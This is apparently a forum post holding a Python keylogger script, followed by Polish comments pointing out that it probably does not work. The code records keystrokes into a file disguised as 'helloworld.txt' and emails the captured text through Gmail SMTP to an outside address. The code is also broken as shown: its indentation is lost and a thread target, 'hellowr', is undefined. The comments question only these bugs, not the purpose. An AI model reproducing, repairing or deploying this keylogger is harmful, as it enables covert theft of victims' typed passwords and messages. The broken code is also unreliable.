import threading
import os
import keyboard
import smtplib
from time import sleep
FILE_NAME = "helloworld.txt"
def keylogger():
CLEAR_ONSTARTUP = False
TERMINATE_KEY = "enter"
if CLEAR_ONSTARTUP:
os.remove(FILE_NAME)
with open(FILE_NAME, "a") as output:
for string in keyboard.get_typed_strings(keyboard.record(until=TERMINATE_KEY)):
output.write(string)
def sendmail():
gmail_user = "login"
gmail_password = "pass"
FROM = gmail_user
TO = ["[email protected]"]
Subject = "test"
try:
f = open(FILE_NAME, "r")
text = f.read()
message = f'From: {FROM}\nTo: {", ".join(TO)}\nSubject: {Subject}\n{text}'
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_password)
server.sendmail(FROM, TO, message)
server.close()
except Exception as ex:
print(ex)
except:
pass
while True:
if __name__ == "__main__":
key = threading.Thread(target=hellowr)
mail = threading.Thread(target=sendmail)
key.start()
mail.start()
key.join()
mail.join()
jest cus takiego ale nie wiem czy dziala bo po pierwsze
key = threading.Thread(target=hellowr)
???
a po drugie cos mi sie gmail nie chce zalogowac a nie chce mi sie kombinowac
ogolnie to bardzo zle wciecia ale mniejsza...
albo jednak podam przyklad
for string in
keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
output.write(string)
output.close()
wtf? zamykasz output w petli?